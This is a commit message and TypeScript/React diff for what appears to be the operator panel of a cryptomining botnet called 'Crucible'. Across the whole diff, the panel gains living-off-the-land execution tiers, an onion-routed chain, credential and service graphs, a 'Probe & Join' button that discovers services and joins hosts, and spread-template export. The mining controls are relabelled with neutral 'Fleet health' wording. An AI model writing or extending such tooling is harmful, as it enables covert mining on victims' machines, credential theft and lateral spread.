Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -11,10 +11,14 @@ import {
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import LotlTierBadge from './LotlTierBadge';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
interface FmCommandResult {
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
{singleSelectedAgent?.lotl_tier && (
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
<LotlTierBadge
tier={singleSelectedAgent.lotl_tier}
attempts={singleSelectedAgent.lotl_attempts}
variant="inline"
/>
</div>
)}
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Resume hashing on selected online nodes"
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
Resume
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pause hashing without disconnecting the agent"
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
Pause
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
Credential Names
</button>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={!hasSelection || targets.length === 0}
title="Service discovery → server deploy plan → matching LOTL join lane"
onClick={() => bulkDispatch('discover_and_join')}
>
Probe &amp; Join
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
<CredentialGraphTable />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
<ServiceGraphSummary
agentId={singleSelectedAgent?.id}
agentIp={singleSelectedAgent?.ip}
/>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">